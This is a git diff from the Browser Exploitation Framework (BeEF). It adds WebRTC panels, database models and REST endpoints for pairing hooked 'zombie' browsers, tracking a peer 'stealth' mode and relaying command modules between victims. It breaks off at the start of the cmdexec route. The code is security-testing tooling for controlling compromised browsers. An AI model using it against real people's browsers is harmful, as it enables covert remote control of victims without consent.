items:[rtc_events_panel_grid],
|
||||||
|
layout: 'fit',
|
||||||
|
listeners: {
|
||||||
|
activate: function(hosts_panel) {
|
||||||
|
rtc_events_panel.items.items[0].store.reload({ params: {nonce: Ext.get ("nonce").dom.value} });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
/*
|
||||||
|
* The panel that displays all command modules executed via RTC
|
||||||
|
********************************************/
|
||||||
|
var rtc_moduleevents_panel_store = new Ext.ux.data.PagingJsonStore({
|
||||||
|
storeId: 'rtc-moduleevents-store-zombie-'+zombie.session,
|
||||||
|
proxy: new Ext.data.HttpProxy({
|
||||||
|
url: '/api/webrtc/cmdevents/'+zombie_id+'?token='+token,
|
||||||
|
method: 'GET'
|
||||||
|
}),
|
||||||
|
remoteSort: false,
|
||||||
|
autoDestroy: true,
|
||||||
|
autoLoad: false,
|
||||||
|
root: 'events',
|
||||||
|
fields: ['id', 'hb_id', 'target_id', 'status', 'created_at', 'updated_at', 'mod'],
|
||||||
|
sortInfo: {field: 'id', direction: 'ASC'}
|
||||||
|
});
|
||||||
|
|
||||||
|
var rtc_moduleevents_panel_bbar = new Ext.PagingToolbar({
|
||||||
|
pageSize: req_pagesize,
|
||||||
|
store: rtc_moduleevents_panel_store,
|
||||||
|
displayInfo: true,
|
||||||
|
displayMsg: 'Displaying RTC command events {0} - {1} of {2}',
|
||||||
|
emptyMsg: 'No events to display'
|
||||||
|
});
|
||||||
|
|
||||||
|
var rtc_moduleevents_panel_grid = new Ext.grid.GridPanel({
|
||||||
|
id: 'rtc-moduleevents-grid-zombie-'+zombie.session,
|
||||||
|
store: rtc_moduleevents_panel_store,
|
||||||
|
bbar: rtc_moduleevents_panel_bbar,
|
||||||
|
border: false,
|
||||||
|
loadMask: {msg:'Loading events...'},
|
||||||
|
|
||||||
|
viewConfig: {
|
||||||
|
forceFit: true
|
||||||
|
},
|
||||||
|
|
||||||
|
view: new Ext.grid.GridView({
|
||||||
|
forceFit: true,
|
||||||
|
emptyText: "No events",
|
||||||
|
enableRowBody:true
|
||||||
|
}),
|
||||||
|
|
||||||
|
columns: [
|
||||||
|
{header: 'Id', width: 5, sortable: true, dataIndex: 'id', hidden:true},
|
||||||
|
{header: 'From', width: 10, sortable: true, dataIndex: 'hb_id', hidden:true},
|
||||||
|
{header: 'Peer', width: 10, sortable: true, dataIndex: 'target_id', renderer: function(value){
|
||||||
|
if (value === zombie_id) {
|
||||||
|
return $jEncoder.encoder.encodeForHTML(value) + " (selected)";
|
||||||
|
} else {
|
||||||
|
return $jEncoder.encoder.encodeForHTML(value) + " (" + beefwui.get_info_from_id(value)['ip'] + ")";
|
||||||
|
}
|
||||||
|
}},
|
||||||
|
{header: 'Module', width: 10, sortable: true, dataIndex: 'mod', renderer: function(value){
|
||||||
|
return $jEncoder.encoder.encodeForHTML(value);
|
||||||
|
}},
|
||||||
|
{header: 'Status', width: 20, sortable: true, dataIndex: 'status', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},
|
||||||
|
{header: 'Created At', width: 10, sortable: true, dataIndex: 'created_at', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},
|
||||||
|
{header: 'Updated At', width: 10, sortable: true, dataIndex: 'updated_at', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}
|
||||||
|
]
|
||||||
|
});
|
||||||
|
|
||||||
|
var rtc_moduleevents_panel = new Ext.Panel({
|
||||||
|
id: 'rtc-moduleevents-host-panel-zombie-'+zombie.session,
|
||||||
|
title: 'Command module results',
|
||||||
|
items:[rtc_moduleevents_panel_grid],
|
||||||
|
layout: 'fit',
|
||||||
|
listeners: {
|
||||||
|
activate: function(hosts_panel) {
|
||||||
|
rtc_moduleevents_panel.items.items[0].store.reload({ params: {nonce: Ext.get ("nonce").dom.value} });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
/*
|
||||||
|
* The Network tab constructor
|
||||||
|
********************************************/
|
||||||
|
ZombieTab_Rtc.superclass.constructor.call(this, {
|
||||||
|
id: 'zombie-rtc-tab-zombie-'+zombie.session,
|
||||||
|
title: 'WebRTC',
|
||||||
|
activeTab: 0,
|
||||||
|
viewConfig: {
|
||||||
|
forceFit: true,
|
||||||
|
stripRows: true,
|
||||||
|
type: 'fit'
|
||||||
|
},
|
||||||
|
items: [rtc_events_panel,rtc_moduleevents_panel],
|
||||||
|
bbar: commands_statusbar,
|
||||||
|
listeners: {
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
};
|
||||||
|
|
||||||
|
Ext.extend(ZombieTab_Rtc, Ext.TabPanel, {});
|
||||||
@@ -11,6 +11,7 @@ zombiesTreeList = function(id) {
|
|||||||
|
|
||||||
var title = id.slice(0,1).toUpperCase() + id.slice(1);
|
var title = id.slice(0,1).toUpperCase() + id.slice(1);
|
||||||
|
|
||||||
|
|
||||||
zombiesTreeList.superclass.constructor.call(this, {
|
zombiesTreeList.superclass.constructor.call(this, {
|
||||||
id:'zombie-tree-'+id,
|
id:'zombie-tree-'+id,
|
||||||
region:'west',
|
region:'west',
|
||||||
@@ -56,6 +57,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
|
|||||||
'sub-branch' : 'domain',
|
'sub-branch' : 'domain',
|
||||||
'distributed' : false
|
'distributed' : false
|
||||||
},
|
},
|
||||||
|
|
||||||
|
|
||||||
//store the list of online hooked browsers in an array
|
//store the list of online hooked browsers in an array
|
||||||
online_hooked_browsers_array: new Array,
|
online_hooked_browsers_array: new Array,
|
||||||
@@ -76,6 +78,15 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
|
|||||||
id: 'xssrays_hooked_domain',
|
id: 'xssrays_hooked_domain',
|
||||||
text: 'Launch XssRays on Hooked Domain',
|
text: 'Launch XssRays on Hooked Domain',
|
||||||
iconCls: 'zombie-tree-ctxMenu-xssrays'
|
iconCls: 'zombie-tree-ctxMenu-xssrays'
|
||||||
|
},{
|
||||||
|
id: 'rtc_caller',
|
||||||
|
text: 'Set as WebRTC Caller',
|
||||||
|
iconCls: 'zombie-tree-ctxMenu-rtc'
|
||||||
|
},{
|
||||||
|
id: 'rtc_receiver',
|
||||||
|
text: 'Set as WebRTC Receiver and GO',
|
||||||
|
iconCls: 'zombie-tree-ctxMenu-rtc',
|
||||||
|
activated: false
|
||||||
},{
|
},{
|
||||||
xtype: 'menuseparator'
|
xtype: 'menuseparator'
|
||||||
},{
|
},{
|
||||||
@@ -88,7 +99,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
|
|||||||
listeners: {
|
listeners: {
|
||||||
itemclick: function(item, object) {
|
itemclick: function(item, object) {
|
||||||
var hb_id = this.contextNode.id.split('zombie-online-')[1];
|
var hb_id = this.contextNode.id.split('zombie-online-')[1];
|
||||||
var hb_id_off = this.contextNode.id.split('zombie-offline-')[1];
|
var hb_id_off = this.contextNode.id.split('zombie-offline-')[1];
|
||||||
switch (item.id) {
|
switch (item.id) {
|
||||||
case 'use_as_proxy':
|
case 'use_as_proxy':
|
||||||
Ext.Ajax.request({
|
Ext.Ajax.request({
|
||||||
@@ -104,19 +115,36 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
|
|||||||
params: 'hb_id=' + escape(hb_id)
|
params: 'hb_id=' + escape(hb_id)
|
||||||
});
|
});
|
||||||
break;
|
break;
|
||||||
|
case 'rtc_caller':
|
||||||
|
beefwui.rtc_caller = hb_id;
|
||||||
|
break;
|
||||||
|
case 'rtc_receiver':
|
||||||
|
beefwui.rtc_receiver = hb_id;
|
||||||
|
var url = "/api/webrtc/go?token=" + beefwui.get_rest_token();
|
||||||
|
Ext.Ajax.request({
|
||||||
|
url: url,
|
||||||
|
method: 'POST',
|
||||||
|
headers: {'Content-Type': 'application/json; charset=UTF-8'},
|
||||||
|
jsonData: {
|
||||||
|
'from': beefwui.get_hb_id(beefwui.rtc_caller),
|
||||||
|
'to': beefwui.get_hb_id(beefwui.rtc_receiver),
|
||||||
|
'verbose': true
|
||||||
|
}
|
||||||
|
});
|
||||||
|
break;
|
||||||
case 'delete_zombie':
|
case 'delete_zombie':
|
||||||
var token = beefwui.get_rest_token();
|
var token = beefwui.get_rest_token();
|
||||||
var hid = '';
|
var hid = '';
|
||||||
if (typeof hb_id_off === 'undefined'){
|
if (typeof hb_id_off === 'undefined'){
|
||||||
hid=hb_id;
|
hid=hb_id;
|
||||||
}else{
|
}else{
|
||||||
hid=hb_id_off;
|
hid=hb_id_off;
|
||||||
}
|
}
|
||||||
var url = "/api/hooks/" + escape(hid) + "/delete?token=" + token;
|
var url = "/api/hooks/" + escape(hid) + "/delete?token=" + token;
|
||||||
Ext.Ajax.request({
|
Ext.Ajax.request({
|
||||||
url: url,
|
url: url,
|
||||||
method: 'GET'
|
method: 'GET'
|
||||||
});
|
});
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -126,6 +154,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
|
|||||||
listeners: {
|
listeners: {
|
||||||
//creates a new hooked browser tab when a hooked browser is clicked
|
//creates a new hooked browser tab when a hooked browser is clicked
|
||||||
click: function(node, e) {
|
click: function(node, e) {
|
||||||
|
globalnode = node;
|
||||||
if(!node.leaf) return;
|
if(!node.leaf) return;
|
||||||
|
|
||||||
mainPanel.remove(mainPanel.getComponent('current-browser'));
|
mainPanel.remove(mainPanel.getComponent('current-browser'));
|
||||||
@@ -140,8 +169,28 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
|
|||||||
if(!node.leaf) return;
|
if(!node.leaf) return;
|
||||||
|
|
||||||
node.select();
|
node.select();
|
||||||
|
// if (typeof(beefwui.rtc_caller) === 'undefined') {
|
||||||
|
// node.getOwnerTree().contextMenu.items.add({
|
||||||
|
// id: 'rtc_caller',
|
||||||
|
// text: 'Set as WebRTC Caller',
|
||||||
|
// iconCls: 'zombie-tree-ctxMenu-xssrays'
|
||||||
|
// });
|
||||||
|
// }
|
||||||
var c = node.getOwnerTree().contextMenu;
|
var c = node.getOwnerTree().contextMenu;
|
||||||
c.contextNode = node;
|
c.contextNode = node;
|
||||||
|
if (typeof(beefwui.rtc_caller) === 'undefined') {
|
||||||
|
c.items.get('rtc_receiver').disable();
|
||||||
|
} else if (beefwui.rtc_caller === node.id.substr(-80)) {
|
||||||
|
c.items.get('rtc_receiver').disable();
|
||||||
|
} else {
|
||||||
|
c.items.get('rtc_receiver').enable();
|
||||||
|
}
|
||||||
|
|
||||||
|
// c.items['rtc_receiver'].disable();
|
||||||
|
// c.add({
|
||||||
|
// id: 'rtc_caller',
|
||||||
|
// text: 'Set as WebRTC Caller',
|
||||||
|
// iconCls: 'zombie-tree-ctxMenu-xssrays'});
|
||||||
c.showAt(event.getXY());
|
c.showAt(event.getXY());
|
||||||
|
|
||||||
},
|
},
|
||||||
|
|||||||
@@ -7,7 +7,7 @@ beef:
|
|||||||
extension:
|
extension:
|
||||||
webrtc:
|
webrtc:
|
||||||
name: 'WebRTC'
|
name: 'WebRTC'
|
||||||
enable: false
|
enable: true
|
||||||
authors: ["xntrik"]
|
authors: ["xntrik"]
|
||||||
stunservers: '["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302","turn:numb.viagenie.ca:3478"]'
|
stunservers: '["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302","turn:numb.viagenie.ca:3478"]'
|
||||||
# stunservers: '["stun:stun.l.google.com:19302"]'
|
# stunservers: '["stun:stun.l.google.com:19302"]'
|
||||||
|
|||||||
@@ -19,6 +19,8 @@ end
|
|||||||
|
|
||||||
require 'extensions/webrtc/models/rtcsignal'
|
require 'extensions/webrtc/models/rtcsignal'
|
||||||
require 'extensions/webrtc/models/rtcmanage'
|
require 'extensions/webrtc/models/rtcmanage'
|
||||||
|
require 'extensions/webrtc/models/rtcstatus'
|
||||||
|
require 'extensions/webrtc/models/rtcmodulestatus'
|
||||||
require 'extensions/webrtc/api/hook'
|
require 'extensions/webrtc/api/hook'
|
||||||
require 'extensions/webrtc/handlers'
|
require 'extensions/webrtc/handlers'
|
||||||
require 'extensions/webrtc/api'
|
require 'extensions/webrtc/api'
|
||||||
|
|||||||
@@ -88,6 +88,74 @@ module BeEF
|
|||||||
|
|
||||||
# Writes the event into the BeEF Logger
|
# Writes the event into the BeEF Logger
|
||||||
BeEF::Core::Logger.instance.register('WebRTC', "Browser:#{zombie_db.id} received message from Browser:#{peer_zombie_db.id}: #{message}")
|
BeEF::Core::Logger.instance.register('WebRTC', "Browser:#{zombie_db.id} received message from Browser:#{peer_zombie_db.id}: #{message}")
|
||||||
|
|
||||||
|
# Perform logic depending on message (updating database)
|
||||||
|
puts "message = '" + message + "'"
|
||||||
|
if (message == "ICE Status: connected")
|
||||||
|
# Find existing status message
|
||||||
|
stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil
|
||||||
|
unless stat.nil?
|
||||||
|
stat.status = "Connected"
|
||||||
|
stat.updated_at = Time.now
|
||||||
|
stat.save
|
||||||
|
end
|
||||||
|
stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil
|
||||||
|
unless stat2.nil?
|
||||||
|
stat2.status = "Connected"
|
||||||
|
stat2.updated_at = Time.now
|
||||||
|
stat2.save
|
||||||
|
end
|
||||||
|
elsif (message.end_with?("disconnected"))
|
||||||
|
stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil
|
||||||
|
unless stat.nil?
|
||||||
|
stat.status = "Disconnected"
|
||||||
|
stat.updated_at = Time.now
|
||||||
|
stat.save
|
||||||
|
end
|
||||||
|
stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil
|
||||||
|
unless stat2.nil?
|
||||||
|
stat2.status = "Disconnected"
|
||||||
|
stat2.updated_at = Time.now
|
||||||
|
stat2.save
|
||||||
|
end
|
||||||
|
elsif (message == "Stayin alive")
|
||||||
|
stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil
|
||||||
|
unless stat.nil?
|
||||||
|
stat.status = "Stealthed!!"
|
||||||
|
stat.updated_at = Time.now
|
||||||
|
stat.save
|
||||||
|
end
|
||||||
|
stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil
|
||||||
|
unless stat2.nil?
|
||||||
|
stat2.status = "Peer-controlled stealth-mode"
|
||||||
|
stat2.updated_at = Time.now
|
||||||
|
stat2.save
|
||||||
|
end
|
||||||
|
elsif (message == "Coming out of stealth...")
|
||||||
|
stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil
|
||||||
|
unless stat.nil?
|
||||||
|
stat.status = "Connected"
|
||||||
|
stat.updated_at = Time.now
|
||||||
|
stat.save
|
||||||
|
end
|
||||||
|
stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil
|
||||||
|
unless stat2.nil?
|
||||||
|
stat2.status = "Connected"
|
||||||
|
stat2.updated_at = Time.now
|
||||||
|
stat2.save
|
||||||
|
end
|
||||||
|
elsif (message.start_with?("execcmd"))
|
||||||
|
mod = /\(\/command\/(.*)\.js\)/.match(message)[1]
|
||||||
|
resp = /Result:.(.*)/.match(message)[1]
|
||||||
|
stat = BeEF::Core::Models::Rtcmodulestatus.new(:hooked_browser_id => zombie_db.id,
|
||||||
|
:target_hooked_browser_id => peer_zombie_db.id,
|
||||||
|
:command_module_id => mod,
|
||||||
|
:status => resp,
|
||||||
|
:created_at => Time.now,
|
||||||
|
:updated_at => Time.now)
|
||||||
|
stat.save
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
47
extensions/webrtc/models/rtcmodulestatus.rb
Normal file
47
extensions/webrtc/models/rtcmodulestatus.rb
Normal file
@@ -0,0 +1,47 @@
|
|||||||
|
#
|
||||||
|
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||||
|
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||||
|
# See the file 'doc/COPYING' for copying permission
|
||||||
|
#
|
||||||
|
|
||||||
|
module BeEF
|
||||||
|
module Core
|
||||||
|
module Models
|
||||||
|
#
|
||||||
|
# Table stores the webrtc status information
|
||||||
|
# This includes things like connection status, and executed modules etc
|
||||||
|
#
|
||||||
|
|
||||||
|
|
||||||
|
class Rtcmodulestatus
|
||||||
|
|
||||||
|
include DataMapper::Resource
|
||||||
|
|
||||||
|
storage_names[:default] = 'extension_webrtc_rtcmodulestatus'
|
||||||
|
|
||||||
|
property :id, Serial
|
||||||
|
|
||||||
|
# The hooked browser id
|
||||||
|
property :hooked_browser_id, Text, :lazy => false
|
||||||
|
|
||||||
|
# The hooked browser's IP
|
||||||
|
# property :hooked_browser_ip, Text, :lazy => false
|
||||||
|
|
||||||
|
# The target hooked browser id
|
||||||
|
property :target_hooked_browser_id, Text, :lazy => false
|
||||||
|
|
||||||
|
# The command module ID
|
||||||
|
property :command_module_id, Text, :lazy => false
|
||||||
|
|
||||||
|
# The status field
|
||||||
|
property :status, Text, :lazy => true
|
||||||
|
|
||||||
|
# Timestamps
|
||||||
|
property :created_at, DateTime
|
||||||
|
property :updated_at, DateTime
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
47
extensions/webrtc/models/rtcstatus.rb
Normal file
47
extensions/webrtc/models/rtcstatus.rb
Normal file
@@ -0,0 +1,47 @@
|
|||||||
|
#
|
||||||
|
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||||
|
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||||
|
# See the file 'doc/COPYING' for copying permission
|
||||||
|
#
|
||||||
|
|
||||||
|
module BeEF
|
||||||
|
module Core
|
||||||
|
module Models
|
||||||
|
#
|
||||||
|
# Table stores the webrtc status information
|
||||||
|
# This includes things like connection status, and executed modules etc
|
||||||
|
#
|
||||||
|
|
||||||
|
|
||||||
|
class Rtcstatus
|
||||||
|
|
||||||
|
include DataMapper::Resource
|
||||||
|
|
||||||
|
storage_names[:default] = 'extension_webrtc_rtcstatus'
|
||||||
|
|
||||||
|
property :id, Serial
|
||||||
|
|
||||||
|
# The hooked browser id
|
||||||
|
property :hooked_browser_id, Text, :lazy => false
|
||||||
|
|
||||||
|
# The hooked browser's IP
|
||||||
|
# property :hooked_browser_ip, Text, :lazy => false
|
||||||
|
|
||||||
|
# The target hooked browser id
|
||||||
|
property :target_hooked_browser_id, Text, :lazy => false
|
||||||
|
|
||||||
|
# The target hooked browser's IP
|
||||||
|
# property :target_hooked_browser_ip, Text, :lazy => false
|
||||||
|
|
||||||
|
# The status field
|
||||||
|
property :status, Text, :lazy => true
|
||||||
|
|
||||||
|
# Timestamps
|
||||||
|
property :created_at, DateTime
|
||||||
|
property :updated_at, DateTime
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
@@ -7,7 +7,10 @@ module BeEF
|
|||||||
module Extension
|
module Extension
|
||||||
module WebRTC
|
module WebRTC
|
||||||
|
|
||||||
# This class handles the routing of RESTful API requests that manage the WebRTC Extension
|
require 'base64'
|
||||||
|
|
||||||
|
# This class handles the routing of RESTful API requests that manage the
|
||||||
|
# WebRTC Extension
|
||||||
class WebRTCRest < BeEF::Core::Router::Router
|
class WebRTCRest < BeEF::Core::Router::Router
|
||||||
|
|
||||||
# Filters out bad requests before performing any routing
|
# Filters out bad requests before performing any routing
|
||||||
@@ -26,10 +29,16 @@ module BeEF
|
|||||||
|
|
||||||
#
|
#
|
||||||
# @note Initiate two browsers to establish a WebRTC PeerConnection
|
# @note Initiate two browsers to establish a WebRTC PeerConnection
|
||||||
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
|
# Return success = true if the message has been queued - as this is
|
||||||
# for success messages. For instance: Event: Browser:1 received message from Browser:2: ICE Status: connected
|
# asynchronous, you will have to monitor BeEFs event log for success
|
||||||
|
# messages. For instance: Event: Browser:1 received message from
|
||||||
|
# Browser:2: ICE Status: connected
|
||||||
#
|
#
|
||||||
# Input must be specified in JSON format
|
# Alternatively, the new rtcstatus model also records events during
|
||||||
|
# RTC connectivity
|
||||||
|
#
|
||||||
|
# Input must be specified in JSON format (the verbose option is no
|
||||||
|
# longer required as client-debugging uses the beef.debug)
|
||||||
#
|
#
|
||||||
# +++ Example: +++
|
# +++ Example: +++
|
||||||
#POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
#POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||||
@@ -82,6 +91,18 @@ module BeEF
|
|||||||
result['success'] = true
|
result['success'] = true
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
r = BeEF::Core::Models::Rtcstatus.new(:hooked_browser_id => fromhb.to_i,
|
||||||
|
:target_hooked_browser_id => tohb.to_i,
|
||||||
|
:status => "Initiating..",
|
||||||
|
:created_at => Time.now,
|
||||||
|
:updated_at => Time.now)
|
||||||
|
r.save
|
||||||
|
r2 = BeEF::Core::Models::Rtcstatus.new(:hooked_browser_id => tohb.to_i,
|
||||||
|
:target_hooked_browser_id => fromhb.to_i,
|
||||||
|
:status => "Initiating..",
|
||||||
|
:created_at => Time.now,
|
||||||
|
:updated_at => Time.now)
|
||||||
|
r2.save
|
||||||
else
|
else
|
||||||
result['success'] = false
|
result['success'] = false
|
||||||
end
|
end
|
||||||
@@ -130,6 +151,107 @@ module BeEF
|
|||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# @note Get the events from the RTCstatus model of a particular browser
|
||||||
|
# Return JSON with events_count and an array of events
|
||||||
|
#
|
||||||
|
# +++ Example: +++
|
||||||
|
#GET /api/webrtc/events/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||||
|
#Host: 127.0.0.1:3000
|
||||||
|
#
|
||||||
|
#===response (snip)===
|
||||||
|
#HTTP/1.1 200 OK
|
||||||
|
#Content-Type: application/json; charset=UTF-8
|
||||||
|
#
|
||||||
|
#{"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"Connected","created_at":"timestamp","updated_at":"timestamp"}]}
|
||||||
|
#
|
||||||
|
# +++ Example with curl +++
|
||||||
|
# curl -H "Content-type: application/json; charset=UTF-8" -v
|
||||||
|
# -X GET http://127.0.0.1:3000/api/webrtc/events/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
|
||||||
|
get '/events/:id' do
|
||||||
|
begin
|
||||||
|
id = params[:id]
|
||||||
|
|
||||||
|
events = BeEF::Core::Models::Rtcstatus.all(:hooked_browser_id => id)
|
||||||
|
|
||||||
|
events_json = []
|
||||||
|
count = events.length
|
||||||
|
|
||||||
|
events.each do |event|
|
||||||
|
events_json << {
|
||||||
|
'id' => event.id.to_i,
|
||||||
|
'hb_id' => event.hooked_browser_id.to_i,
|
||||||
|
'target_id' => event.target_hooked_browser_id.to_i,
|
||||||
|
'status' => event.status.to_s,
|
||||||
|
'created_at' => event.created_at.to_s,
|
||||||
|
'updated_at' => event.updated_at.to_s
|
||||||
|
}
|
||||||
|
end
|
||||||
|
{
|
||||||
|
'events_count' => count,
|
||||||
|
'events' => events_json
|
||||||
|
}.to_json if not events_json.empty?
|
||||||
|
|
||||||
|
rescue InvalidParamError => e
|
||||||
|
print_error e.message
|
||||||
|
halt 400
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Internal error while queuing status message for #{id} (#{e.message})"
|
||||||
|
halt 500
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# @note Get the events from the RTCModuleStatus model of a particular browser
|
||||||
|
# Return JSON with events_count and an array of events associated with command module execute
|
||||||
|
#
|
||||||
|
# +++ Example: +++
|
||||||
|
#GET /api/webrtc/cmdevents/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||||
|
#Host: 127.0.0.1:3000
|
||||||
|
#
|
||||||
|
#===response (snip)===
|
||||||
|
#HTTP/1.1 200 OK
|
||||||
|
#Content-Type: application/json; charset=UTF-8
|
||||||
|
#
|
||||||
|
#{"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"prompt=blah","mod":200,"created_at":"timestamp","updated_at":"timestamp"}]}
|
||||||
|
#
|
||||||
|
# +++ Example with curl +++
|
||||||
|
# curl -H "Content-type: application/json; charset=UTF-8" -v
|
||||||
|
# -X GET http://127.0.0.1:3000/api/webrtc/cmdevents/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
|
||||||
|
get '/cmdevents/:id' do
|
||||||
|
begin
|
||||||
|
id = params[:id]
|
||||||
|
|
||||||
|
events = BeEF::Core::Models::Rtcmodulestatus.all(:hooked_browser_id => id)
|
||||||
|
|
||||||
|
events_json = []
|
||||||
|
count = events.length
|
||||||
|
|
||||||
|
events.each do |event|
|
||||||
|
events_json << {
|
||||||
|
'id' => event.id.to_i,
|
||||||
|
'hb_id' => event.hooked_browser_id.to_i,
|
||||||
|
'target_id' => event.target_hooked_browser_id.to_i,
|
||||||
|
'status' => event.status.to_s,
|
||||||
|
'created_at' => event.created_at.to_s,
|
||||||
|
'updated_at' => event.updated_at.to_s,
|
||||||
|
'mod' => event.command_module_id
|
||||||
|
}
|
||||||
|
end
|
||||||
|
{
|
||||||
|
'events_count' => count,
|
||||||
|
'events' => events_json
|
||||||
|
}.to_json if not events_json.empty?
|
||||||
|
|
||||||
|
rescue InvalidParamError => e
|
||||||
|
print_error e.message
|
||||||
|
halt 400
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Internal error while queuing status message for #{id} (#{e.message})"
|
||||||
|
halt 500
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# @note Instruct a browser to send an RTC DataChannel message to one of its peers
|
# @note Instruct a browser to send an RTC DataChannel message to one of its peers
|
||||||
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
|
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
|
||||||
@@ -170,6 +292,21 @@ module BeEF
|
|||||||
tohb = body['to']
|
tohb = body['to']
|
||||||
message = body['message']
|
message = body['message']
|
||||||
|
|
||||||
|
if message === "!gostealth"
|
||||||
|
stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => fromhb.to_i, :target_hooked_browser_id => tohb.to_i) || nil
|
||||||
|
unless stat.nil?
|
||||||
|
stat.status = "Selected browser has commanded peer to enter stealth"
|
||||||
|
stat.updated_at = Time.now
|
||||||
|
stat.save
|
||||||
|
end
|
||||||
|
stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => tohb.to_i, :target_hooked_browser_id => fromhb.to_i) || nil
|
||||||
|
unless stat2.nil?
|
||||||
|
stat2.status = "Peer has commanded selected browser to enter stealth"
|
||||||
|
stat2.updated_at = Time.now
|
||||||
|
stat2.save
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
result = {}
|
result = {}
|
||||||
|
|
||||||
unless [fromhb,tohb,message].include?(nil)
|
unless [fromhb,tohb,message].include?(nil)
|
||||||
@@ -185,12 +322,137 @@ module BeEF
|
|||||||
print_error e.message
|
print_error e.message
|
||||||
halt 400
|
halt 400
|
||||||
rescue StandardError => e
|
rescue StandardError => e
|
||||||
print_error "Internal error while queuing message for #{id} (#{e.message})"
|
print_error "Internal error while queuing message (#{e.message})"
|
||||||
halt 500
|
halt 500
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# @note Instruct a browser to send an RTC DataChannel message to one of its peers
|
||||||
|
# In this instance, the message is a Base64d encoded JS command
|
||||||
|
# which has the beef.net.send statements re-written
|
||||||
|
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
|
||||||
|
# for success messages, IF ANY.
|
||||||
|
# Commands are written back to the rtcmodulestatus model
|
||||||
|
#
|
||||||
|
# Input must be specified in JSON format
|
||||||
|
#
|
||||||
|
# +++ Example: +++
|
||||||
|
#POST /api/webrtc/cmdexec?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||||
|
#Host: 127.0.0.1:3000
|
||||||
|
#Content-Type: application/json; charset=UTF-8
|
||||||
|
#
|
||||||
|
#{"from":1, "to":2, "cmdid":120, "options":[{"name":"option_name","value":"option_value"}]}
|
||||||
|
#===response (snip)===
|
||||||
|
#HTTP/1.1 200 OK
|
||||||
|
#Content-Type: application/json; charset=UTF-8
|
||||||
|
#
|
||||||
|
#{"success":"true"}
|
||||||
|
#
|
||||||
|
# +++ Example with curl +++
|
||||||
|
# curl -H "Content-type: application/json; charset=UTF-8" -v
|
||||||
|
# -X POST -d '{"from":1, "to":2, "cmdid":120, "options":[{"name":"option_name","value":"option_value"}]}'
|
||||||
|
# http://127.0.0.1:3000/api/webrtc/cmdexec\?token\=df67654b03d030d97018f85f0284247d7f49c348
|
||||||
|
#
|
||||||
|
post '/cmdexec' do
|
||||||
|
begin
|
||||||
|
